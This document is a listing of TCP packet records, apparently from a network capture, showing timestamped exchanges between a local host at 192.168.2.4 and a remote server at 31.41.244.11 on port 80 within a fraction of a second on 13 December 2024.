Dec 13, 2024 01:51:21.377907991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.377996922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.378047943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.378935099 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.378987074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.379054070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.379107952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.380018950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.380070925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.380148888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.380204916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.381114960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.381167889 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.381239891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.381295919 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.382184029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.382240057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.382292986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.382340908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.383270979 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.383325100 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.383389950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.383441925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.384316921 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.384366989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.384428978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.384479046 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.385423899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.385479927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.385576010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.385628939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.386502028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.386558056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.386598110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.386651993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.387581110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.387631893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.387660027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.387712002 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.388647079 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.388695955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.388772964 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.388824940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.389717102 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.389770985 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.389837980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.389887094 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.390815020 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.390866995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.390918016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.390971899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.391875029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.391927958 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.391995907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.392050028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.392981052 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.393033028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.393093109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.393148899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.394042015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.394093037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.394222975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.394274950 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.395114899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.395169020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.395257950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.395311117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.396186113 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.396238089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.396308899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.396364927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.397277117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.397326946 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.397382021 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.397434950 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.398339033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.398392916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.398466110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.398511887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.399435997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.399554968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.399564028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.399619102 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.400507927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.400557041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.400621891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.400666952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.401611090 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.401669025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.401731968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.401779890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.402718067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.402769089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.402771950 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.402821064 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.403729916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.403784037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.403835058 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.403887987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.404839993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.404891014 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.405014038 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.405065060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.405906916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.405961037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.406033039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.406088114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.406992912 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.407046080 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.407073021 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.407124043 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.408061028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.408113956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.408205032 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.408255100 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.409167051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.409224033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.409312010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.409374952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.410258055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.410309076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.410381079 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.410429955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.411345959 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.411395073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.411467075 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.411514997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.412395954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.412450075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.412499905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.412553072 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.413456917 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.413515091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.413588047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.413635015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.414560080 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.414613008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.414685011 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.414737940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.415627003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.415678024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.415707111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.415759087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.416671038 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.416719913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.416790962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.416840076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.417749882 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.417802095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.417872906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.417922020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.418827057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.418875933 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.418948889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.418998003 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.419915915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.419972897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.420043945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.420094013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.421031952 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.421082973 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.421145916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.421195984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.422070026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.422126055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.422198057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.422249079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.423180103 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.423233032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.423278093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.423331976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.424232006 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.424280882 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.424359083 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.424400091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.425344944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.425390005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.425445080 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.425489902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.426414967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.426462889 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.426496983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.426538944 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.427445889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.427491903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.427637100 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.427685022 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.428555012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.428603888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.428648949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.428703070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.429537058 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.429584980 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.565743923 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.565797091 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.565840960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.565841913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.566055059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.566107035 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.566262007 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.566309929 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.567096949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.567219973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.567240000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.567281961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.568191051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.568248987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.568269968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.568316936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.569256067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.569313049 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.569390059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.569448948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.570382118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.570450068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.570614100 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.570667028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.571480036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.571537018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.571608067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.571666956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.572515965 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.572571039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.572644949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.572706938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.573585987 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.573645115 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.573712111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.573786020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.574724913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.574814081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.574870110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.574920893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.575740099 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.575795889 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.575887918 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.575942039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.576847076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.576908112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.576978922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.577032089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.577891111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.577996969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.578360081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.578994989 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.579051018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.579124928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.579175949 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.580008984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.580065012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.580136061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.580185890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.581109047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.581162930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.581237078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.581289053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.582189083 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.582242966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.582313061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.582369089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.583311081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.583384991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.583446026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.583498955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.584404945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.584477901 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.584547997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.584616899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.585429907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.585484028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.585561037 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.585611105 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.586514950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.586566925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.586638927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.586688995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.587613106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.587661028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.587786913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.587845087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.588730097 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.588788033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.588855028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.588897943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.589761019 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.589822054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.589972973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.590022087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.591165066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.591222048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.591310024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.591352940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.592207909 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.592262030 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.592293978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.592334032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.592968941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.593019962 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.593089104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.593142986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.594034910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.594089031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.594165087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.594209909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.595174074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.595222950 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.595290899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.595340967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.596280098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.596328974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.596414089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.596456051 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.597328901 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.597373962 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.597449064 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.597492933 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.598416090 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.598453045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.598550081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.598594904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.599438906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.599487066 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.599571943 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.599618912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.600548029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.600600004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.600662947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.600711107 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.601656914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.601711988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.601793051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.601841927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.602675915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.602730989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.602796078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.602843046 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.603774071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.603832960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.603899956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.603948116 CET	49787	80	192.168.2.4	31.41.244.11
